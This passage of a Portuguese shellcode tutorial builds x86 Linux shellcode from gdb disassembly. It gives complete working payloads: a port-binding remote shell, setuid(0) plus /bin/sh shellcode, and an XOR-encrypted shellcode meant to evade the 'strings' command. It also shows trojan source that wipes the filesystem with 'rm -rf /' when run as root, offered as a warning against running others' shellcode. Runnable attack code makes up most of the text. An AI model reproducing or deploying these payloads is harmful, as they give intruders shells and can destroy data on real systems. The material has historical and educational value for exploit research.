soc=socket(2,1,6); bind(soc,(struct sockaddr *)&serv_addr,0x10); listen(soc,1); cli=accept(soc,0,0); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl("/bin/sh","sh",0); } } ------------------------------------------------------------------------- Se voce nao conhece programacao de sockets em C, recomendo meus tutoriais que podem ser obtidos em http://unsekurity.virtualave.net ou http://unsekurity.cyberpunk.com.br/ ; lah eu explico em detalhes como se faz um programa parecido com este acima, que binda uma shell a uma porta. Compile este programa acima, e depois vamos desassemblar ele: [localhost]# gdb binda GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) (gdb) disassemble fork Dump of assembler code for function __libc_fork: 0x804c5a0 <__libc_fork>: mov $0x2,%eax 0x804c5a5 <__libc_fork+5>: int $0x80 0x804c5a7 <__libc_fork+7>: cmp $0xfffff001,%eax 0x804c5ac <__libc_fork+12>: jae 0x804ca70 <__syscall_error> 0x804c5b2 <__libc_fork+18>: ret End of assembler dump. (gdb) Pegamos o codigo referente a fork(0): mov $0x2,%eax int $0x80 (gdb) disass socket Dump of assembler code for function __socket: 0x804c860 <__socket>: mov %ebx,%edx 0x804c862 <__socket+2>: mov $0x66,%eax 0x804c867 <__socket+7>: mov $0x1,%ebx 0x804c86c <__socket+12>: lea 0x4(%esp,1),%ecx 0x804c870 <__socket+16>: int $0x80 0x804c872 <__socket+18>: mov %edx,%ebx 0x804c874 <__socket+20>: cmp $0xffffff83,%eax 0x804c877 <__socket+23>: jae 0x804ca70 <__syscall_error> 0x804c87d <__socket+29>: ret End of assembler dump. Pegamos os codigos referentes a funcao socket(): mov %ebx,%edx mov $0x66,%eax mov $0x1,%ebx lea 0x4(%esp,1),%ecx int $0x80 (gdb) disas bind Dump of assembler code for function bind: 0x804c820 : mov %ebx,%edx 0x804c822 : mov $0x66,%eax 0x804c827 : mov $0x2,%ebx 0x804c82c : lea 0x4(%esp,1),%ecx 0x804c830 : int $0x80 0x804c832 : mov %edx,%ebx 0x804c834 : cmp $0xffffff83,%eax 0x804c837 : jae 0x804ca70 <__syscall_error> 0x804c83d : ret End of assembler dump. Pegamos o codigo referente a bind(): mov %ebx,%edx mov $0x66,%eax mov $0x2,%ebx lea 0x4(%esp,1),%ecx int $0x80 (gdb) disas listen Dump of assembler code for function listen: 0x804c840 : mov %ebx,%edx 0x804c842 : mov $0x66,%eax 0x804c847 : mov $0x4,%ebx 0x804c84c : lea 0x4(%esp,1),%ecx 0x804c850 : int $0x80 0x804c852 : mov %edx,%ebx 0x804c854 : cmp $0xffffff83,%eax 0x804c857 : jae 0x804ca70 <__syscall_error> 0x804c85d : ret End of assembler dump. Pegamos o codigo referente a bind(): mov %ebx,%edx mov $0x66,%eax mov $0x4,%ebx 0x4(%esp,1),%ecx int $0x80 (gdb) disas accept Dump of assembler code for function __libc_accept: 0x804c800 <__libc_accept>: mov %ebx,%edx 0x804c802 <__libc_accept+2>: mov $0x66,%eax 0x804c807 <__libc_accept+7>: mov $0x5,%ebx 0x804c80c <__libc_accept+12>: lea 0x4(%esp,1),%ecx 0x804c810 <__libc_accept+16>: int $0x80 0x804c812 <__libc_accept+18>: mov %edx,%ebx 0x804c814 <__libc_accept+20>: cmp $0xffffff83,%eax 0x804c817 <__libc_accept+23>: jae 0x804ca70 <__syscall_error> 0x804c81d <__libc_accept+29>: ret End of assembler dump. Pegamos o codigo referente a accept(): mov %ebx,%edx mov $0x66,%eax mov $0x5,%ebx lea 0x4(%esp,1),%ecx int $0x80 (gdb) disas dup2 Dump of assembler code for function __dup2: 0x804c6d0 <__dup2>: mov %ebx,%edx 0x804c6d2 <__dup2+2>: mov 0x8(%esp,1),%ecx 0x804c6d6 <__dup2+6>: mov 0x4(%esp,1),%ebx 0x804c6da <__dup2+10>: mov $0x3f,%eax 0x804c6df <__dup2+15>: int $0x80 0x804c6e1 <__dup2+17>: mov %edx,%ebx 0x804c6e3 <__dup2+19>: cmp $0xfffff001,%eax 0x804c6e8 <__dup2+24>: jae 0x804ca70 <__syscall_error> 0x804c6ee <__dup2+30>: ret End of assembler dump. Pegamos o codigo referente a dup2(): mov %ebx,%edx mov 0x8(%esp,1),%ecx mov 0x4(%esp,1),%ebx mov $0x3f,%eax int $0x80 Como podemos notar, eh meio trabalhoso, mas maos a obra.Vamos retirar os NULL Bytes e melhorar nosso codigo funcao por funcao: fork(); /* fork() possui numero 2 na tabela de system calls */ ---------------------------------------------------------------------------- char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- socket(2,1,6); ---------------------------------------------------------------------------- /* %ecx eh um ponteiro de todos os argumentos. */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx <- ele */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ /* O primeiro argumento(socket(2,..,..)). */ /* %esi tem referencia ao espaco livre da memoria antes */ /* de usar esta funcao. */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* O segundo argumento(socket(..,1,..)). */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* O terceiro argumento(socket(..,..,6)). */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80"; /* int $0x80 */ bind(soc,(struct sockaddr *)&serv_addr,0x10); code ---------------------------------------------------------------------------- /* %ecx eh um ponteiro para todos os argumentos */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax tem valor de soc antes de usar esta instrucao. */ /* Acima temos o primeiro argumento(soc). */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ /* serv_addr.sin_family=2 */ /* 2 eh armazenado em 0xc(%esi). */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ /* armazena o numero da porta(0x77) em 0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ /* %eax = endereco de serv_addr. */ /* O segundo argumento((struct sockaddr *)&serv_addr) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ /* serv_addr.sin_addr.s_addr=0 */ /* 0 eh armazenado em 0x10(%esi). */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* O terceiro argumento */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80"; /* int $0x80 */ listen(soc,1); code ---------------------------------------------------------------------------- /* %ecx eh um ponteiro para todos os argumentos. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax tem o valor de soc antes de usar esta intrucao. */ /* O primeiro argumento. */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* O segundo argumento. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- accept(soc,0,0); code ---------------------------------------------------------------------------- /* %ecx eh um ponteiro de todos os argumentos. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\xf1" /* movl %eax,(%esi) */ /* %eax tem que ter valor soc antes de usar esta */ /* instrucao. */ /* Acima temos o primeiro argumento */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* Acima temos o segundo argumento */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* Acima temos o terceiro argumento. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- dup2(cli,0); code ---------------------------------------------------------------------------- /* O primeiro argumento eh %ebx e o segundo argumento eh */ /* %ecx. */ char code[]= /* %eax tem que ter valor de cli antes de usar esta */ /* instrucao. */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- Bastante trabalhoso, nao?? A melhor forma de execucao do mesmo segue no proprio esquema do Taeho Oh.Vejamos abaixo o shellcode que ele criou para bindar uma shell: ---------------------------------------------------------------------------- char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ /* caso fork()!=0 */ /* Ele irah chamar exit(0) e jumpear abaixo. */ "\xeb\x43" /* jmp 0x43 */ /* Caso fork() == 0 ele irah chamar call -0xa5. */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ /* %eax="/bin" */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ /* %eax="/sh/" */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */ main(){ int *retorno; retorno = (int *)&retorno +2; (*retorno) = (int)shellcode; } ---------------------------------------------------------------------------- Enorme, nao? Compile ele e execute em sua maquina, ele abrirah uma porta de numero 30464 (que pode ser perfeitamente alterada) com uma shell correspondente. 2.4 - Personalizando um Shellcode ---------------------------------- Muitos shellcodes sao personalizados de forma que fazem com que aparecam determinadas frases ou letras quando se usa o comando strings.A utilidade disso, ao meu ver, nao eh muita coisa.Muita gente que nao conhece escrita de shellcode acha isso coisa de outro mundo, o que vou demonstrar aqui, eh que isso eh muito simples.Lendo esse item, voce verah que esse 'mito' nao passa de mais um simples exemplo da obscuridade que envolve a escrita de shellcodes.Exploits como os da ADM(http://adm.isp.at/) demonstram na pratica este 'conceito'.Essa parte realmente nao tem nada de util, apenas servirah para mostrar a todos que nao eh nada complicado personalizar um shellcode. Como bem sabemos, o shellcode soh executa intrucoes pre-determinadas pelo tamanho do comando que nos queremos executar.Vimos na primeira parte deste tutorial que nos poderiamos encher o final do shellcode que executava ls, mas que nao iria adiantar de nada.Personalizar um shellcode eh somente colocar os referentes caracters ascii(em hexa) no final do shellcode de modo que nao afete a execucao do mesmo. Vamos pegar como exemplo o shellcode padrao abaixo: ---------------------------- spadrao.c --------------------------------- #include #include char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; main(){ int *retorno; retorno = (int *)&retorno +2; (*retorno) = (int)shellcode; } ------------------------------------------------------------------------ Shellcode padrao que executa um setuid(0) em seguida um /bin/sh.Compile ele normalmente e depois digite em seu linux 'strings spadrao | less', voce deverah ver algo como: ....(monte de coisas).. GLIBC_2.0 PTRh /bin/sh init.c ..... O que nos interessa eh essa parte.Abaixo de PTRh encontrasse as strings que nosso shellcode possui, no caso /bin/sh.Personalizar um shellcode, nada mais eh do que fazer aparecer frases ou palavras nessa parte do comando strings, isso seria algo como uma assinatura, ou uma marca registrada de que aquele shellcode foi feito ou alterado por voce.Vejamos como fazer isso: Em seu linux, digite o comando 'man ascii': [localhost]# man ascii .......................................................................... Oct Dec Hex Char Oct Dec Hex Char ------------------------------------------------------------ 000 0 00 NUL '\0' 100 64 40 @ 001 1 01 SOH 101 65 41 A 002 2 02 STX 102 66 42 B 003 3 03 ETX 103 67 43 C 004 4 04 EOT 104 68 44 D 005 5 05 ENQ 105 69 45 E 006 6 06 ACK 106 70 46 F 007 7 07 BEL '\a' 107 71 47 G 010 8 08 BS '\b' 110 72 48 H 011 9 09 HT '\t' 111 73 49 I 012 10 0A LF '\n' 112 74 4A J 013 11 0B VT '\v' 113 75 4B K 014 12 0C FF '\f' 114 76 4C L 015 13 0D CR '\r' 115 77 4D M 016 14 0E SO 116 78 4E N 017 15 0F SI 117 79 4F O 020 16 10 DLE 120 80 50 P 021 17 11 DC1 121 81 51 Q 022 18 12 DC2 122 82 52 R 023 19 13 DC3 123 83 53 S 024 20 14 DC4 124 84 54 T 025 21 15 NAK 125 85 55 U 026 22 16 SYN 126 86 56 V 027 23 17 ETB 127 87 57 W 030 24 18 CAN 130 88 58 X 031 25 19 EM 131 89 59 Y 032 26 1A SUB 132 90 5A Z 033 27 1B ESC 133 91 5B [ 034 28 1C FS 134 92 5C \ '\\' 035 29 1D GS 135 93 5D ] 036 30 1E RS 136 94 5E ^ 037 31 1F US 137 95 5F _ 040 32 20 SPACE 140 96 60 ` 041 33 21 ! 141 97 61 a 042 34 22 " 142 98 62 b 043 35 23 # 143 99 63 c 044 36 24 $ 144 100 64 d 045 37 25 % 145 101 65 e 046 38 26 & 146 102 66 f 047 39 27 ' 147 103 67 g 050 40 28 ( 150 104 68 h 051 41 29 ) 151 105 69 i 052 42 2A * 152 106 6A j 053 43 2B + 153 107 6B k 054 44 2C , 154 108 6C l 055 45 2D - 155 109 6D m 056 46 2E . 156 110 6E n 057 47 2F / 157 111 6F o 060 48 30 0 160 112 70 p 061 49 31 1 161 113 71 q 062 50 32 2 162 114 72 r 063 51 33 3 163 115 73 s 064 52 34 4 164 116 74 t 065 53 35 5 165 117 75 u 066 54 36 6 166 118 76 v 067 55 37 7 167 119 77 w 070 56 38 8 170 120 78 x 071 57 39 9 171 121 79 y 072 58 3A : 172 122 7A z 073 59 3B ; 173 123 7B { 074 60 3C < 174 124 7C | 075 61 3D = 175 125 7D } 076 62 3E > 176 126 7E ~ 077 63 3F ? 177 127 7F DEL ........................................................................... Acima segue um pedaco da tabela que aparece com esse comando.Essa tabela nos fornece os respectivos numeros em decimal, hexadecimal e octal dos caracteres ascii correspondente.De posse dessas informacoes, podemos pegar os numeros hexadecimais da string que queremos inserir: N = 4e ; A = 41 ; S = 53 ; H = 48 ; L = 4c ; E = 45 ; O = 4f ; N = 4e. Agora tudo que temos que fazer eh inserir os respectivos hexas no final do shellcode.Vejamos: ------------------------------spers1.c----------------------------------- #include #include char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x4e\x41\x53\x48\x4c\x45\x4f\x4e"; /* NASHLEON */ main(){ int *retorno; retorno = (int *)&retorno +2; (*retorno) = (int)shellcode; } -------------------------------------------------------------------------- Compile ele normalmente e depois use o comando strings: [localhost]# strings spers1 | less ..... GLIBC_2.0 PTRh /bin/shNASHLEON init.c ..... Voce pode notar que nossa string 'NASHLEON' ficou logo apos /bin/sh. Podemos perfeitamente melhorar isto, basta inserir os hexas referentes aos caracteres ascii que quisermos.Um outro exemplo segue abaixo: -------------------------------spers2.c----------------------------------- #include #include char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\x4e\x41\x53\x48\x20\x4c\x45\x4f\x4e\x00" /* NASH LEON */ "\x76\x75\x6c\x67\x6f\x20" /* vulgo */ "\x63\x6f\x72\x61\x63\x61\x6f\x64\x65\x6c\x65\x61\x6f"; main(){ int *retorno; retorno = (int *)&retorno +2; (*retorno) = (int)shellcode; } ------------------------------------------------------------------------ Compile e use o comando strings para obter info a respeito das strings que se encontram no shellcode: ..... GLIBC_2.0 PTRh /bin/sh NASH LEON vulgo coracaodeleao init.c .... Bom, amigo, se voce quer mesmo, mande brasa e construa seus shellcodes personalizados.Eu particularmente nao aconselho por varios motivos: + Quanto menor o tamanho do shellcode, melhor. Principalmente quando se tenta exploitar buffers de tamanhos pequenos. + Existem casos em que o shellcode necessita ficar entre nops: [NOPS] [SHELLCODE] [NOPS] [offset para shellcode] ou [NOPS] [SHELLCODE] [NOPS] [offset] [NULL's] ou mesmo mais complexo ainda: [offset para shellcode] [NULL's] ] [nops] [SHELLCODE] [nops] Como voce pode ver, isso pode vir a dificultar mais ainda a execucao de nosso shellcode, analise o caso, e veja se realmente a personalizacao de um shellcode nao trarah mais trabalhos para voce. 2.5 - Encriptando um Shellcode ------------------------------- O perigo de se executar exploits que usam shellcodes de terceiros como root eh eminente.Veremos aqui de forma bastante pratica que o comando strings descrito acima se torna sem eficacia quando um shellcode estah encriptado. Aqui vem a parte que mais motiva um fucador a entender a necessidade de saber escrever um shellcode, ou seja, a parte mais evidente de que nao se deve executar shellcodes de terceiros.Veremos de forma basica, um metodo usado para encriptar um shellcode para que ele possa passar desapercebido pelo comando strings. O metodo que pretendo disponibilizar eh o de 'Encriptacao por Manipulacao de Bits'.Encriptacao por manipulacao de bits nao eh coisa nova, varios programas, teses, teorias jah tornaram este metodo bastante pratico e eficiente.Existem duas vantagens consideradas para se usar encriptacao por manipulacao de bits, sao elas: + Ela se adapta bem para uso em computadores porque emprega operacoes facilmente executadas pelo sistema. + Textos encriptados tambem tendem a aparecer ininteligiveis, o que acrescenta seguranca por fazer os dados parecerem com arquivos sem uso ou danificados. Geralmente a encriptacao por manipulacao de bits eh aplicada somente para arquivos de computadores e nao pode ser usada para criar mensagens impressas porque a manipulacao de bits tende a produzir caracteres que nao podem ser impressos.Por esta razao, voce deve presumir que qualquer arquivo codificado por metodos de manipulacao de bits ficarah num arquivo de computador.Para converter o texto comum em texto cifrado, alteramos o padrao real dos bits de cada caracter atraves do emprego de um ou mais dos seguintes operadores logicos: E OU OU EXCLUSIVO (XOR) COMPLEMENTO DE 1 (NOT) Veremos os respectivos operadores de bit a bit em suas linguagens: +-------------------------------------------------------------------+ | OPERADOR | Linguagem C | Linguagem Assembly | +-------------------------------------------------------------------+ | E | & | & | +-------------------------------------------------------------------+ | OU | | | | | +-------------------------------------------------------------------+ | OU EXCLUSIVO | ^ | ^ | +-------------------------------------------------------------------+ | COMPLEMENTO DE 1 | ~ | ~ | +-------------------------------------------------------------------+ O Complemento de 1 se refere ao NOT, o que ele faz eh inverter cada bit de um byte.O 'OU Exclusivo' eh o nosso conhecido XOR, o que ele faz eh manipular bits seguindo uma tabela verdade. O exemplo que vou disponibilizar foi feito pelo lamagra, eh amplamente difundido na internet e pode ser obtido junto com outros shellcodes num pacote conhecido como sc.tgz(veja links e referencias no final). A criptografia por manipulacao de bits que ele usa eh a do XOR.Abaixo segue o codigo fonte do mesmo: ------------------------------- encr.c -------------------------------- /* .file "xor-encrypted shellcode" .version "1.0" .text .align 4 .globl main .type main,@function _start: xorl %eax,%eax jmp 0x22 popl %ebx movl 8(%ebx),%edx xor %edx,(%ebx) xor %edx,4(%ebx) xor %edx,%edx movl %ebx,0x8(%esp) movl %edx,0xc(%esp) movb $0xb,%al leal 0x8(%esp),%ecx int $0x80 xorl %ebx,%ebx movl %ebx,%eax incl %eax int $0x80 call -0x27 .string "\x6e\x23\x28\x2f\x6e\x32\x29\x41\x41\x41\x41\x41" */ #define NAME "encrypted" char code[]= "\x31\xc0\xeb\x22\x5b\x8b\x53\x08\x31\x13\x31\x53\x04\x31\xd2\x89" "\x5c\x24\x08\x89\x54\x24\x0c\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff" "\x6e\x23\x28\x2f\x6e\x32\x29\x41" /* encrypted "/bin/sh" */ "\x41\x41\x41\x41"; /* Conversion chars */ main() { int (*funct)(); funct = (int (*)()) code; printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code)); (int)(*funct)(); } ------------------------------------------------------------------------- Compile ele e execute-o em sua maquina, nao se preocupe.O que ele faz eh somente executar um /bin/sh.Depois analise-o usando o comando 'strings'. Detalhes da escrita desse shellcode serah disponibilizado num artigo sobre 'trojans x strings', que em breve deve estar disponivel na home page do Unsekurity Team.Uma dica, mano.A tabela verdade abaixo eh aplicada na criptografia usando XOR: ^ | 0 | 1 ---------- 0 | 0 | 1 1 | 1 | 0 Em outras palavras, o resultado do XOR eh verdade se e somente se um operando eh verdadeiro e o outro eh falso.Isto dah ao XOR uma propriedade unica; se voce aplicar XOR a um byte com outro byte chamado 'chave', e aplicar o resultado desta operacao a uma nova operacao XOR com a mesma chave, o resultado serah o byte original.Por exemplo: 1 1 0 1 1 0 0 1 --------------- ^ 0 1 0 1 0 0 1 1 (Chave) | ------------------------------------ | 1 0 0 0 1 0 1 0 | | _______ Sao iguais. | 1 0 0 0 1 0 1 0 | ^ 0 1 0 1 0 0 1 1 (Chave) | ------------------------------------ | 1 1 0 1 1 0 0 1 --------------- 2.6 - O Perigo dos Trojans ---------------------------- Bom, mano.Eu nao me considero um cara irresponsavel! Mas codei com sucesso um shellcode que executa o programa abaixo: ------------------------------- trojan.c -------------------------------- #include #include main(){ char *comando1[2]; char *comando2[3]; comando1[0] = "/bin/sh"; comando1[1] = NULL; comando2[0] = "/bin/rm"; comando2[1] = "-rf /"; comando2[2] = NULL; if(getuid(0) == 0)){ execve(comando2[0], comando2, NULL); exit(0); } execve(comando1[0], comando1, NULL); } ------------------------------------------------------------------------- Tem mais um probleminha, o mesmo programa acima pode ser encriptado.Entao ele pode fugir de strings e tambem executa um simples /bin/sh quando um usuario diferente do root executa-lo.Isso pode representar um grande perigo, de modo que, ainda nao vou disponibilizar o shellcode pronto. Pretendo fazer um artigo em breve descrevendo qua nao se deve confiar no comando strings, e devo disponibilizar esse shellcode no mesmo.Fique atento a pagina do Unsekurity Team que em breve este artigo serah publicado. O leitor deste tutorial fica desde jah avisado a jamais executar shellcodes de terceiros.Procure aprender o maximo de C para que voce possa detectar uma condicao de execucao de shellcode trojan,e cuidado com o comando strings.Leia as recomendacoes que faco no tutorial de backdoor e trojans horse que disponibilizo.Seja critico, tome cuidado com tudo que entra em sua maquina. Aprenda a fazer seus proprios shellcodes para que nao necessite nunca executar um shellcode de terceiros. --------------- 3 - TERMINANDO | --------------- Mais uma vez quero deixar claro que tudo descrito aqui eh amplamente difundido na internet.As teorias e exemplos aqui, a grande maioria dos fucadores jah conhecem.Nao pense amigo, que sabendo o que estah descrito aqui, voce jah saberah tudo sobre shellcodes.Existem muitos outros esquemas e possiveis implementacoes usando shellcodes.Creio que unindo os dois tutoriais feitos por mim, nao vimos ainda 1 milesimo do que pode ser visto. Aos poucos iremos engrossando o caldo, e pretendo ainda dar continuidade a este tutorial.Existem muitos esquemas para serem descritos ainda, por menores de varias tecnicas.Espero que as informacoes descritas acima tenham servido de aprendizado para voce.Eu sei perfeitamente que nao eh facil trabalhar em cima disso, qualquer duvida, procure a mim ou a qualquer membro do Unsekurity Team, com certeza iremos tentar te ajudar. 3.1 - Links e Referencias --------------------------- De uma olhada nos links do primeiro tutorial.Existem varios sobre assembly. * Referencias: "Turbo C Avancado" - Herbert Schildt. Editora McGraw-Hill * Links: http://www.phrack.com/ -> Procure P49-14. http://www.bufferoverflow.org/ -> Procure o tool sc.tgz. http://packetstorm.securify.com/ -> Procure por shellcode SDI. Procure por adv.buffer.overflow.txt. * Home pages do Unsekurity Team: http://unsekurity.virtualave.net/ http://unsekurity.cyberpunk.com.br/ * Outros Links Interessantes: http://www.hacker.com.br/ http://www.taldowin.com.br/ http://www.securenet.com.br/ 3.2 - Consideracoes Finais --------------------------- Segunda parte do tutorial de shellcodes terminada.Em breve estaremos publicando mais material envolvendo isso, e o tutorial sobre IPC estah cada vez maior.Mas espero em breve poder disponibiliza-lo.A recepcao vem sendo boa, estamos recebendo criticas, sempre construtivas tambem, aos poucos estamos amadurecendo, mais gente temse engajado conosco, e varios esquemas tem sido realizados.Enquanto nao aparece um emprego, o tempo disponivel, eu tenho usado no que considero ser 'de forma sabia', aprendendo e praticando.Tenho pesquisado e sendo feliz na 'quebra' de alguns conceitos muito usados pela seguranca.Eu ia publicar um artigo expondo varios problemas encontrados no Conectiva 5.0, mas achei melhor nao..Mas tem um pedaco dele disponivel para os mais proximos, se voce usa Red Hat Conectiva 5.0 aconselho a mudar de Linux o mais rapido possivel.. Passamos um final de semana com ele e achamos diversos bugs e falhas em sua configuracao padrao. Gostaria de agradecer a tanta gente..Pessoal que tem nos dado forca de varias maneiras, mas prefiro nao citar nomes..Apenas digo a esse pessoal, se precisar, estamos aih, saibam sempre que podem contar comigo. Um abraco, amigo leitor. Nash Leon. ---------------------------------- EOF -----------------------------------